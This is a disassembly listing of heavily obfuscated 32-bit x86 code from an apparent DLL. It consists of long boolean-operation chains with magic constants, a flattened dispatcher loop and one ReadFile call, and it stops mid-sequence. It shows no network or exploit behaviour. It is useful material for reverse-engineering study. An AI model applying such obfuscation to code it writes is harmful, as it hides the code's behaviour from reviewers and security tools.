mov eax, dword [esp + 0xc]
or eax, ebx
and ebx, 0xa1085009
and edi, 0x52f72470
or edi, ebx
xor edi, ecx
not eax
or eax, edi
not eax
or eax, edx
mov edi, eax
mov eax, dword [esp + 0x1c]
mov ecx, eax
or ecx, esi
xor esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x72477810
and esi, 0x8db887ef
or esi, edx
xor esi, ecx
or eax, ecx
xor esi, 0x8db887ef
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, edi
or ecx, edi
not esi
or esi, eax
not ecx
not esi
or esi, ecx
mov ecx, dword [esp]
mov eax, ecx
mov edi, dword [esp + 0x14]
xor eax, edi
and eax, ecx
mov edx, dword [esp + 0x10]
and edx, 0xe08d7627
and ecx, 0x1f7289d8
or ecx, edx
and edi, 0xe08d7627
and ebp, 0x1f7289d8
or ebp, edi
xor ebp, ecx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x5ffd00ac
and ebp, 0xa002ff53
or ebp, eax
mov edx, ebp
xor edx, 0x4ab90020
xor ebp, 0xa0004401
and ebp, 0xb544448d
and edx, 0x4abbbb72
or edx, ebp
mov eax, edx
xor eax, 0x4abbbb72
xor edx, 0xb544448d
mov ecx, esi
xor ecx, edx
and ecx, esi
xor edx, eax
and edx, esi
xor edx, eax
or edx, ecx
mov ecx, dword [esp + 4]
and ecx, 0xb1139036
mov eax, dword [esp + 8]
and eax, 0x4eec6fc9
or eax, ecx
mov esi, eax
xor esi, 0xa0c2088
xor eax, 0x91121002
and eax, 0xd5f25f43
and esi, 0x2a0da0bc
or esi, eax
mov ecx, esi
xor ecx, 0xd5f25f43
xor esi, 0x2a0da0bc
mov edi, esi
and edi, 0x154b9500
mov eax, ecx
and eax, 0xeab46aff
or eax, edi
mov edi, eax
xor edi, 0x154b9500
mov ebp, edi
or ebp, 0x40b6201
mov ebx, eax
xor ebx, 0xa224000a
and ebp, 0x5c9be365
and ebx, 0xa264000a
or ebx, ebp
or esi, 0x58908164
and esi, 0x5c9be365
and ecx, 0x1001c90
or ecx, esi
mov ebp, eax
xor ebp, 0xe8046ad9
xor ecx, ebx
mov esi, ecx
xor esi, 0xfaf4816e
and edi, 0x13b11426
and ebp, 0xec4eebd9
or ebp, edi
xor ebp, 0xec4eebd9
xor eax, 0xeab46aff
or eax, ebp
mov edi, eax
not edi
xor ecx, 0x50b7e91
mov ebx, ecx
and ebx, 0x2d6881c1
and esi, 0xd2977e3e
or esi, ebx
or ecx, eax
and eax, 0x2d6881c1
and edi, 0xd2977e3e
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov esi, edx
mov ebx, edx
mov eax, edx
not eax
mov edi, eax
and edi, 0x510a00a
and esi, 0x20070024
or esi, edi
mov edi, esi
xor edi, 0x20060024
xor esi, 0x8cd0908b
and esi, 0x8cd1908b
and edi, 0x21062024
or edi, esi
mov esi, eax
mov dword [esp], eax
or esi, 0x411800a
and esi, 0x8cd1908b
and ebx, 0x52284f50
or ebx, esi
xor ebx, edi
mov edi, ebx
xor edi, 0xc2880cd1
xor ebx, 0x400a000
and ebx, 0x1c60f300
and edi, 0xe39f0cff
or edi, ebx
mov ebx, ecx
not ebx
mov esi, ebx
and esi, 0xe54367c5
mov ebp, ecx
and ebp, 0x1abc983a
or ebp, esi
mov esi, edi
xor esi, 0x29c083a
xor edi, 0x4406300
and edi, 0xe54367c5
and esi, 0x1abc983a
or esi, edi
xor esi, ebp
mov edi, ecx
xor edi, 0x3990d1d9
and edi, ecx
not esi
or esi, ebx
and ebx, 0x19108191
and ecx, 0x20805048
or ecx, ebx
mov ebx, edx
xor ebx, 0x4784624b
and ebx, edx
mov ebp, edx
xor ecx, 0x20805048
or edi, ecx
mov ecx, eax
and ecx, 0x235666c4
and ebp, 0xdca9993b
or ebp, ecx
mov edx, edi
xor edx, 0x42220024
xor ebp, 0xdca9993b
xor edi, 0x10800019
and edi, 0x94cd2e1b
and edx, 0x6b32d1e4
or edx, edi
xor edx, 0x6b32d1e4
or edx, ebp
mov ecx, edx
not ecx
mov edi, edx
xor edi, 0x80d679e1
and edi, ecx
or ecx, 0x80d679e1
mov ebp, ecx
and ebp, 0x2e016a25
mov eax, edx
and eax, 0x5128841a
or eax, ebp
mov ebp, edi
not ebp
or ecx, ebp
and ebp, 0x2e016a25
and edi, 0xd1fe95da
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
xor ecx, esi
mov eax, ecx
xor eax, 0x80d679e1
or edx, esi
xor ecx, 0x7f29861e
mov esi, ecx
and esi, 0xc822cf54
and eax, 0x37dd30ab
or eax, esi
xor eax, edx
xor eax, 0x37dd30ab
or ecx, edx
not ecx
or ecx, eax
mov eax, dword [esp]
and eax, 0x4784624b
or ebx, eax
mov esi, ebx
xor esi, 0xb80a1c34
mov eax, ecx
not eax
mov edi, eax
and edi, 0x44508282
mov edx, ecx
and edx, 0x250140
or edx, edi
mov edi, ebx
xor edi, 0x4784624b
xor ebx, 0xfc0e1e76
and ebx, edi
mov edi, edx
xor edi, 0x210140
xor edx, 0xffdafebf
and esi, 0xbb8a7c3d
or esi, ebx
mov ebx, edx
and ebx, 0xa147e34
and edi, 0x446181c2
or edi, ebx
mov ebx, ecx
xor ebx, 0x447583c2
and ebx, ecx
mov ebp, ebx
not ebp
or edx, ebp
and ebp, 0xa147e34
and ebx, 0xf5eb81cb
or ebx, ebp
xor ebx, edi
not edx
or edx, ebx
xor edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0x8d034c10
and edx, 0x72fcb3ef
or edx, edi
and ecx, 0x8d034c10
and eax, 0x72fcb3ef
or eax, ecx
xor eax, edx
not eax
or eax, esi
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x10047904], 0xa
setl al
setge ch
mov dh, cl
or dh, ch
mov ah, al
or ah, dl
mov bl, dh
xor bl, ah
or ah, dh
xor ah, 1
or ah, bl
mov dh, al
xor dh, dl
and dh, al
and ch, cl
and dl, al
or dl, ch
or dl, dh
mov dh, dl
xor dh, 1
mov ch, dh
and ch, dl
xor dh, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, dh
mov dh, ch
xor dh, ah
xor dh, 1
mov dl, dh
and dl, ah
xor dl, 1
or ch, ah
or dl, dh
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov ah, cl
xor ah, al
and al, ah
and ah, cl
xor al, 1
xor ah, 1
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
or ch, ah
xor ch, 1
mov al, ah
xor al, dl
mov cl, al
xor cl, 1
or cl, ch
mov dh, cl
xor dh, 1
mov ch, dh
and ch, cl
xor dh, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, dh
mov cl, ch
xor cl, 1
or ah, dl
xor ah, 1
or al, ah
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ah, ch
and ah, dl
or dl, ch
xor dl, 1
mov dh, al
and dh, cl
or cl, al
xor cl, 1
or cl, dl
or dh, ah
or al, ch
xor al, 1
or al, dh
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor dl, al
xor ah, al
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov edi, 0x8d74973c
mov eax, 0x6fc90b38
cmovne edi, eax
test dl, 1
cmove edi, eax
test cl, 1
mov eax, 0x8d74973c
cmove edi, eax
jmp 0x10008b80
mov dword [esp + 0x48], 0
push 0
lea eax, [esp + 0x4c]
push eax
push dword [esp + 0x3c]
push dword [esp + 0x38]
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, 0x3bb675d8
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
mov ebx, ecx
xor ebx, 0x498056a0
and ebx, ecx
mov edi, ecx
not edi
or edx, 0xb67fa95f
mov esi, edx
and esi, 0x23192577
mov ebp, edi
and ebp, 0x48805280
or ebp, esi
mov esi, ebx
not esi
or edx, esi
and esi, 0x23192577
and ebx, 0xdce6da88
or ebx, esi
mov esi, ecx
xor ebx, ebp
mov ebp, edi
not edx
or edx, ebx
mov ebx, edi
xor edx, 0x7862f178
or edx, edi
mov dword [esp], edx
and edi, 0x3138083a
and eax, 0xc0800640
or eax, edi
mov edi, eax
xor edi, 0xc0000640
xor eax, 0x1830f9b6
or ebp, 0x10b00832
and eax, 0x18b0f9b6
and edi, 0xe1080648
or edi, eax
and ebp, 0x18b0f9b6
and esi, 0x6470001
or esi, ebp
xor esi, edi
mov eax, esi
xor eax, 0xe47f185
xor esi, 0x80000c52
and eax, 0x300ec108
and esi, 0x80011cd3
or esi, eax
mov edi, esi
xor edi, 0x7ffee32c
and ebx, 0x4e416a97
and ecx, 0xb1be9568
or ecx, ebx
mov eax, ecx
xor eax, 0xb1be9568
xor ecx, 0x416a90
and ecx, 0xa151eff0
mov ebx, eax
and ebx, 0x5eae100f
or ebx, ecx
xor ebx, 0x115e322b
and eax, 0xb00fdddb
or eax, ebx
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0xf621655d
xor eax, 0x7eb4e1b2
and eax, ecx
and ecx, 0x9de9aa2
or ecx, ebx
mov ebp, esi
xor ebp, 0x14a029e
and ebp, edi
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0x608d7c02
and ebp, 0x904283d9
or ebp, ebx
mov ebx, ecx
xor ebx, 0x9de9aa2
xor ecx, 0x776a7b10
and ecx, ebx
or ebx, edi
or edi, 0x814b1e4d
xor esi, 0x90
or edx, edi
and edi, 0x618d7c06
and esi, 0x10008190
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xab22a9c1
and ecx, 0x54dd563e
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xab22a9c1
and eax, 0x54dd563e
or eax, edi
xor eax, ecx
not esi
or esi, eax
xor esi, edx
not ebx
or ebx, esi
mov ecx, ebx
mov eax, ebx
xor eax, 0x3b8c5fcd
and eax, ebx
not ebx
or ecx, 0xc473a032
mov edx, eax
not edx
mov esi, ecx
and esi, 0xcc33899c
and ebx, 0x338c5641
or ebx, esi
or ecx, edx
and edx, 0xcc33899c
and eax, 0x33cc7663
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x747c7de9
xor ecx, 0x8b838216
mov edx, ecx
and edx, 0x31e2a7d8
and ecx, 0xce1d5827
and eax, 0x31e2a7d8
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov esi, edx
not esi
mov edi, eax
and edi, 0x3c06a50e
and ecx, 0xc3f95af1
or ecx, edi
or eax, esi
and esi, 0x3c06a50e
and edx, 0xc3f95af1
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov esi, eax
not esi
and eax, 0x2386b32a
and esi, 0xdc794cd5
or esi, eax
mov ebx, esi
xor ebx, 0x2386b32a
mov dword [esp + 4], ebx
mov edi, esi
xor edi, 0xdc794cd5
mov ecx, dword [esp]
mov eax, ecx
not eax
and ecx, 0x1a903e9d
mov edx, eax
and edx, 0xe56fc162
or edx, ecx
mov ecx, edi
and ecx, 0x4f393bd4
and ebx, 0xb0c6c42b
or ebx, ecx
mov ebp, edx
xor ebp, 0xa046c022
xor edx, 0x1a903e9d
mov ecx, edi
or ecx, edx
and edx, 0x4f393bd4
and ebp, 0xb0c6c42b
or ebp, edx
xor ebp, ebx
xor esi, 0xa134f12c
and esi, edi
not ecx
or ecx, ebp
mov edx, dword [esp + 4]
and edx, 0x5c074041
and edi, 0xa3f8bfbe
or edi, edx
mov edx, dword [esp]
and edx, 0x704925e9
mov ebx, eax
and ebx, 0xd049810
or ebx, edx
mov ebp, edi
xor ebp, 0x20401530
xor edi, 0x5c050041
or edi, 0x82b24206
mov edx, edi
and edx, 0x572ea88e
and ebp, 0x28411571
or ebp, edx
mov edx, esi
not edx
or edi, edx
and edx, 0x572ea88e
and esi, 0xa8d15771
or esi, edx
xor esi, ebp
mov ebp, ecx
not ebp
not edi
or edi, esi
mov edx, ebx
xor edx, 0xd001000
xor ebx, 0x52090466
mov esi, dword [esp]
or esi, 0x500d8c70
and ebx, 0x520d8c76
and edx, 0x2d403189
or edx, ebx
and esi, 0x520d8c76
and eax, 0x80b24200
or eax, esi
xor eax, edx
xor eax, edi
mov edx, eax
not edx
and eax, ecx
or ecx, edx
not ecx
and edx, ebp
or edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x40e8205
mov esi, edx
and esi, 0x10412020
or esi, eax
xor esi, 0x10412020
mov eax, ecx
and eax, 0xebb05dda
or eax, esi
mov esi, eax
not esi
and eax, 0x6c039eb7
mov edi, esi
and edi, 0x93fc6148
or edi, eax
xor edi, 0xc05ccdab
and esi, 0xac5f531c
or esi, edi
mov eax, ecx
and eax, 0xe0541c13
and edx, 0x1fabe3ec
or edx, eax
xor edx, 0xb3f4b0f0
xor ecx, edx
and ecx, edx
mov eax, ecx
and ecx, esi
not esi
not eax
mov edx, esi
xor edx, eax
and edx, esi
and eax, esi
or eax, ecx
mov esi, edx
not esi
mov ecx, eax
not ecx
mov edi, esi
and edi, 0x4e704341
and edx, 0xb18fbcbe
or edx, edi
or esi, ecx
and ecx, 0x4e704341
and eax, 0xb18fbcbe
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov ecx, esi
mov eax, esi
xor eax, 0x62420b3b
and eax, esi
or esi, 0x9dbdf4c4
not ecx
mov edx, eax
not edx
mov edi, esi
and edi, 0x869c3c57
and ecx, 0x60420328
or ecx, edi
or esi, edx
and edx, 0x869c3c57
and eax, 0x7963c3a8
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x49dc7837
mov ecx, esi
and ecx, 0xb62387c8
or ecx, eax
mov eax, ecx
xor eax, 0x12220400
xor ecx, 0x49543011
and ecx, 0xed55b3d9
and eax, 0x12aa4c26
or eax, ecx
mov ecx, eax
xor ecx, 0x21112058
xor eax, 0x24c22
and eax, 0xcc46dfa3
and ecx, 0x33b9205c
or ecx, eax
mov eax, ecx
xor eax, 0x22182004
xor ecx, 0x4c4250a3
and ecx, 0x5de350fb
and eax, 0xa21caf04
or eax, ecx
mov ebp, eax
xor ebp, 0x54810050
xor eax, 0xa0000100
and eax, 0xa96251ab
and ebp, 0x569dae54
or ebp, eax
mov dword [esp + 4], ebp
mov edx, ebp
xor edx, 0x569dae54
mov ecx, ebp
xor ecx, 0xa96251ab
mov eax, ecx
mov edi, ecx
mov dword [esp + 8], ecx
and eax, 0xb568d095
mov ecx, ebp
xor ecx, 0xe3f57ec1
and ecx, edx
mov ebp, edx
mov dword [esp + 0xc], edx
or ecx, eax
mov eax, ecx
xor eax, 0xa2d89c9
xor ecx, 0xd4005204
and ecx, 0xd5005236
and eax, 0x2affadc9
or eax, ecx
mov edx, edi
and edx, 0x4c83bb
mov ecx, ebp
and ecx, 0xffb37c44
or ecx, edx
mov edx, eax
xor edx, 0x26a5c9
xor eax, 0xd5005236
mov edi, eax
and edi, 0xabd95a30
and edx, 0x5426a5cf
or edx, edi
mov edi, ecx
xor edi, 0x54222444
xor ecx, 0x4c83bb
or eax, ecx
and ecx, 0xabd95a30
and edi, 0x5426a5cf
or edi, ecx
xor edi, edx
not eax
or eax, edi
and ebx, 0x119eb486
and esi, 0xee614b79
or esi, ebx
mov edx, esi
xor edx, 0x2c614329
xor esi, 0x101ca080
and esi, 0xd21ca8d0
and edx, 0x2de3572f
or edx, esi
mov esi, edx
xor esi, 0xd21ca8d0
mov ecx, edx
xor ecx, 0x6c59f1be
and ecx, esi
xor edx, 0x2c40502b
and edx, 0x7e5478fb
and esi, 0x81ab8704
or esi, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x16f02c32
and ecx, 0xe90fd3cd
or ecx, edi
mov edi, esi
xor edi, 0x290ed248
xor esi, 0xc0112195
or edx, esi
and esi, 0x16f02c32
and edi, 0xe90fd3cd
or edi, esi
xor edi, ecx
mov esi, eax
not esi
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xe095a037
and edx, 0x1f6a5fc8
or edx, ecx
mov ebp, edx
xor ebp, 0xc0958023
xor edx, 0xf0a5d08
and edx, 0x2f0a7d1c
and ebp, 0xd0f582e3
or ebp, edx
mov ecx, eax
and ecx, 0x5b3ac69c
mov edx, esi
and esi, 0xa4c53963
or esi, ecx
not esi
or esi, eax
mov dword [esp + 0x1c], esi
and eax, 0xa31b3ea
and edx, 0xf5ce4c15
or edx, eax
mov ecx, ebp
xor ecx, 0xd0f582e3
mov esi, ebp
xor esi, 0x2f0a7d1c
mov eax, esi
and eax, 0x4315402a
mov ebx, ecx
and ebx, 0x20828100
or ebx, eax
xor ebx, 0x20828100
xor ebp, 0xb36243c9
and ebp, ecx
or ebx, ebp
not ebp
and ebp, 0x9c683ed5
and ebx, 0x6397c12a
or ebx, ebp
mov edi, edx
xor edi, 0xf5ce4c15
mov dword [esp + 0x14], edi
xor edx, 0xa31b3ea
mov dword [esp + 0x10], edx
mov eax, edx
and eax, 0x52204680
and edi, 0x91a801c
or edi, eax
mov eax, edi
xor eax, 0x802000c
or eax, 0x20c01103
xor edi, 0x10204200
and edi, 0x1138c210
and eax, 0x6ac2158f
or eax, edi
mov edx, ebx
not edx
mov dword [esp], edx
and edx, 0xa4c53963
mov edi, ebx
and edi, 0x5b3ac69c
or edi, edx
and esi, 0xe1b366ad
and ecx, 0x1e4c9952
or ecx, esi
mov edx, ecx
xor edx, 0x1e4c9952
xor ecx, 0xa10142a9
and ecx, 0xb90d42f9
mov esi, edx
and esi, 0x46f2bd06
or esi, ecx
xor esi, 0xe2378465
and edx, 0x5b3ac69c
or edx, esi
mov ecx, eax
xor ecx, 0x6ac2158f
xor eax, 0x953dea70
mov esi, ecx
mov ebp, dword [esp + 0x1c]
xor esi, ebp
and esi, ecx
xor ecx, eax
and ecx, ebp
xor ecx, eax
or ecx, esi
not edi
or edi, dword [esp]
mov esi, edx
not esi
mov eax, edi
or eax, edx
and edx, 0x16e3837
and esi, 0xfe91c7c8
or esi, edx
xor esi, edi
mov edx, esi
xor edx, 0xfe91c7c8
xor esi, 0x16e3837
mov edi, esi
and edi, 0xe863f10
and edx, 0xf179c0ef
or edx, edi
xor edx, eax
or esi, eax
xor edx, 0xf179c0ef
not esi
or esi, edx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x7b7179c5
mov edx, ecx
and edx, 0x848e863a
or edx, edi
not esi
xor edx, 0x7b7179c5
or edx, esi
xor esi, eax
and esi, ecx
not edx
or esi, edx
mov edi, dword [esp + 0x14]
mov eax, edi
mov edx, dword [esp]
xor eax, edx
and eax, edi
mov ecx, dword [esp + 0x10]
and ecx, 0xb0303301
and edi, 0x4fcfccfe
or edi, ecx
and edx, 0xb0303301
and ebx, 0x4fcfccfe
or ebx, edx
xor ebx, edi
or ebx, eax
mov eax, esi
xor eax, 0x657b3130
mov ecx, eax
and eax, esi
not esi
and ecx, esi
or eax, ecx
mov ecx, ebx
or esi, ebx
mov edx, ebx
not ebx
xor ecx, 0x9a84cecf
and ecx, ebx
or ebx, 0x9a84cecf
mov edi, ebx
and edi, 0xa4f9f239
and edx, 0x41020100
or edx, edi
mov edi, ecx
not edi
or ebx, edi
and edi, 0xa4f9f239
and ecx, 0x5b060dc6
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov edx, ebx
xor edx, ebx
not edx
and edx, eax
xor edx, ebx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x2e9b4dd6
and edx, 0xd164b229
or edx, eax
xor edx, esi
xor edx, 0xd164b229
or ecx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and ecx, 0x41baa690
mov eax, edx
and eax, 0xbe45596f
or eax, ecx
not eax
or eax, edx
and edx, 0xc4fe4bf3
and esi, 0x3b01b40c
or esi, edx
xor esi, 0x8544ed63
or esi, ecx
mov ecx, esi
mov ebx, esi
not ecx
mov edx, esi
xor edx, 0x6dce9e4b
mov esi, edx
and edx, ecx
and esi, ebx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xea061e84
and esi, 0x15f9e17b
or esi, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xea061e84
and edx, 0x15f9e17b
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, eax
xor edx, 0x28c61a02
or ebx, eax
xor eax, 0x20
and eax, 0x45088469
and edx, 0xbaf77b96
or edx, eax
xor edx, ecx
xor edx, 0x45088469
not ebx
or ebx, edx
mov dword [esp], ebx
mov edi, dword [esp + 8]
mov eax, edi
and eax, 0x3088820
mov esi, dword [esp + 0xc]
mov ebx, esi
and ebx, 0x20121005
or ebx, eax
xor ebx, 0x20121005
mov eax, dword [esp + 4]
xor eax, 0x75873671
and eax, esi
or ebx, eax
not eax
and eax, 0xdce567da
and ebx, 0x231a9825
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ebx
and eax, 0x59385150
mov edx, ecx
and edx, 0xa6c7aeaf
or edx, eax
xor edx, 0x1a5a66f0
mov eax, ecx
and eax, 0x436237a0
or eax, edx
mov edx, edi
and edx, 0x416025a0
and esi, 0x2021200
or esi, edx
mov edx, esi
xor edx, 0x2021000
or edx, 0x9005c04d
xor esi, 0x180
and esi, 0x380
and edx, 0xd367f46d
or edx, esi
mov esi, edx
xor esi, 0xd367f46d
and esi, eax
not eax
xor edx, 0x2c980b92
mov edi, eax
xor edi, edx
and edi, eax
and edx, eax
or edx, esi
or edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0x8aa0001
mov edi, edx
and edi, 0x2404042
or edi, esi
mov esi, edi
xor esi, 0x2404002
xor edi, 0x7c1510b5
or eax, 0x8000041
and edi, 0x7c1510f5
and esi, 0x2ea4002
or esi, edi
and eax, 0x7c1510f5
and edx, 0x8100af08
or edx, eax
xor edx, esi
mov eax, edx
xor eax, 0xb677881d
mov ebp, eax
mov eax, ebx
and eax, 0xfffffffe
and ecx, 0xf4da1145
and ebx, 0xb25eeba
or ebx, ecx
xor ebx, 0xb25eebb
or ebx, eax
mov edi, ebx
mov eax, ebx
xor eax, 0x72d1e389
and eax, ebx
xor ebx, 0xb94bd28b
xor edi, 0x890a1002
mov ecx, edi
or ecx, 0x8d2a0476
and ecx, 0xffbae776
and ebx, 0x410089
or ebx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0xffbae776
and eax, 0x451889
or eax, ecx
xor eax, ebx
not edi
or edi, eax
not eax
and eax, 0x8d2e1c76
and edi, 0x72d1e389
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x3bf3fc4a
and edi, 0xc40c03b5
or edi, ecx
xor edi, 0xc40c03b5
or edi, eax
mov esi, edi
not esi
xor edx, 0x400875c2
and edx, 0x705ef5cf
mov ebx, ebp
mov ecx, ebp
and ecx, 0x8fa10a30
or ecx, edx
mov eax, edi
and eax, 0xc7af7ee9
mov ebp, esi
and ebp, 0x38508116
or ebp, eax
mov eax, ecx
xor eax, 0x8fa10a30
mov dword [esp + 4], eax
and eax, 0xd333fa79
mov edx, ebx
and edx, 0x2ccc0586
or edx, eax
mov dword [esp + 0xc], edx
mov eax, ebp
xor eax, 0x38508116
mov dword [esp + 8], eax
mov edx, ebp
xor edx, 0x149c8490
and edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x8101021f
and edx, 0x7efefde0
or edx, ebx
or edi, 0xd333fa79
or eax, edi
and edi, 0x8101021f
and esi, 0x2ccc0580
or esi, edi
xor esi, edx
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, dword [esp + 0xc]
xor ecx, 0x705ef5cf
xor esi, eax
xor ebp, 0xc7af7ee9
mov eax, ecx
and eax, 0xfaf2b058
mov edx, dword [esp + 4]
and edx, 0x50d4fa7
or edx, eax
or ecx, ebp
and ebp, 0xfaf2b058
mov eax, dword [esp + 8]
and eax, 0x50d4fa7
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, ecx
mov edi, esi
not edi
mov edx, ecx
and edx, 0xe146cd68
mov ebx, eax
and ebx, 0x1eb93297
or ebx, edx
mov edx, ecx
or edx, edi
and edi, 0xe146cd68
and esi, 0x1eb93297
or esi, edi
xor esi, ebx
not edx
or edx, esi
mov edi, edx
not edi
and eax, 0x7e9f2a28
and ecx, 0x8160d5d7
or ecx, eax
mov eax, ecx
xor eax, 0x8160d5d7
xor ecx, 0x30070020
and ecx, 0xb167c135
mov esi, eax
and esi, 0x4e983eca
or esi, ecx
xor esi, 0x4e983eca
or esi, eax
mov eax, edx
xor eax, esi
and eax, edx
and edi, 0xadc2272b
and edx, 0x523dd8d4
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x2dc854
mov ecx, eax
not ecx
xor edx, 0xadc2272b
mov edi, ecx
and edi, 0x7a5035a3
and eax, 0x85afca5c
or eax, edi
or ecx, edx
and edx, 0x7a5035a3
and esi, 0x85afca5c
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x40797144
mov edx, eax
and edx, 0xbf868ebb
or edx, ecx
mov ecx, edx
xor ecx, 0xbf868ebb
xor edx, 0x40287100
and edx, 0xc82a7b28
mov ebx, ecx
and ebx, 0x37d584d7
or ebx, edx
xor ebx, 0x37d584d7
or ebx, ecx
and ecx, 0x35cd7d26
and eax, 0xca3282d9
or eax, ecx
xor eax, 0x35cd7d26
not ebx
or ebx, eax
mov ebp, ebx
not ebp
mov esi, dword [esp]
mov edx, esi
not edx
mov eax, edx
and eax, 0x92b28465
mov ecx, esi
and ecx, 0x609a
or ecx, eax
xor ecx, 0x609a
mov edi, esi
xor edi, 0x92b2e4ff
and edi, esi
or edi, ecx
mov eax, ebx
and eax, 0x6000063a
mov ecx, ebp
and ecx, 0x168ec081
or ecx, eax
xor ecx, 0x168ec081
mov eax, ebp
and eax, 0x89713944
or eax, ecx
mov dword [esp + 0xc], eax
mov esi, edi
xor esi, 0x6d4d1b00
mov dword [esp + 8], esi
mov eax, edi
xor eax, 0x92b2e4ff
mov dword [esp + 4], eax
and eax, 0x77f6a23c
and esi, 0x88095dc3
or esi, eax
mov ecx, esi
xor ecx, 0x88095dc3
xor esi, 0x5690222c
and esi, 0xd69863ae
mov eax, ecx
and eax, 0x29679c51
or eax, esi
xor eax, 0x7d4066d1
and ecx, 0xabd8057f
or ecx, eax
mov eax, ebx
and eax, 0x8d98cae7
and ebp, 0x72673518
or ebp, eax
xor ebp, 0xd9bf3067
xor ebx, ebp
and ebx, ebp
mov ebp, ecx
not ebp
mov esi, ecx
and ecx, 0x3049631
and ebp, 0xfcfb69ce
or ebp, ecx
or edx, 0x5427fa80
or esi, edx
and edx, 0x3049631
mov eax, dword [esp]
and eax, 0xa8d8014e
or eax, edx
xor eax, ebp
not esi
or eax, esi
mov esi, eax
mov edx, dword [esp + 0xc]
mov eax, edx
xor eax, 0x768ec6bb
mov dword [esp], eax
or eax, 0xabd8057f
mov ecx, ebx
not ecx
xor ebx, ecx
and ebx, eax
or eax, ecx
xor ebx, ecx
not eax
or ebx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x677a6bb1
and esi, 0x9885944e
or esi, ecx
mov ecx, ebx
not ecx
xor esi, ecx
xor esi, 0x9885944e
and esi, ebx
and ecx, 0xa964dc2b
and ebx, 0x569b23d4
or ebx, ecx
xor ebx, 0xa964dc2b
or ebx, eax
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0xbea80d54
and esi, 0x4157f2ab
or esi, eax
xor esi, ebx
or ebp, ebx
xor esi, 0x4157f2ab
not ebp
or ebp, esi
mov eax, edx
xor eax, 0x9512940
mov ecx, dword [esp]
and ecx, 0xb2229487
and eax, 0x4ddd6b78
or eax, ecx
mov edx, dword [esp + 8]
mov esi, edx
or esi, 0xda76a590
mov ecx, esi
and ecx, 0x1f037266
mov ebx, dword [esp + 4]
and ebx, 0x20880809
or ebx, ecx
xor edi, 0x48c4416f
and edi, edx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x1f037266
and edi, 0xe0fc8d99
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov edi, eax
xor edi, 0x4ddd6b78
xor eax, 0xb2229487
mov ecx, eax
or ecx, 0xca302110
and ecx, 0xca303157
mov ebx, edi
and ebx, 0x25894a28
or ebx, ecx
mov edx, dword [esp]
or edx, 0x1047
mov ecx, dword [esp + 0xc]
xor ecx, 0x400000
and edx, 0xca303157
and ecx, 0x10468480
or ecx, edx
xor ecx, ebx
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ebx, dword [esp + 8]
mov ecx, ebx
and ecx, 0x7eca22bc
mov esi, dword [esp + 4]
and esi, 0x8135dd43
or esi, ecx
or ebx, eax
and eax, 0x7eca22bc
and edi, 0x8135dd43
or edi, eax
xor edi, esi
mov eax, ebx
not eax
or eax, edi
not eax
or eax, edx
mov edx, eax
mov esi, eax
not edx
mov ecx, ebp
not ecx
mov eax, ecx
or eax, esi
not eax
and ecx, 0x9c9dcb85
and ebp, 0x6362347a
or ebp, ecx
and esi, 0x9c9dcb85
and edx, 0x6362347a
or edx, esi
xor edx, ebp
or edx, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x4534e9e0
and ecx, edx
mov esi, edx
or esi, 0x2883121f
mov edi, ecx
not edi
and esi, 0x2d83729f
mov ebx, eax
and ebx, 0x40348960
or ebx, esi
mov esi, edx
or esi, edi
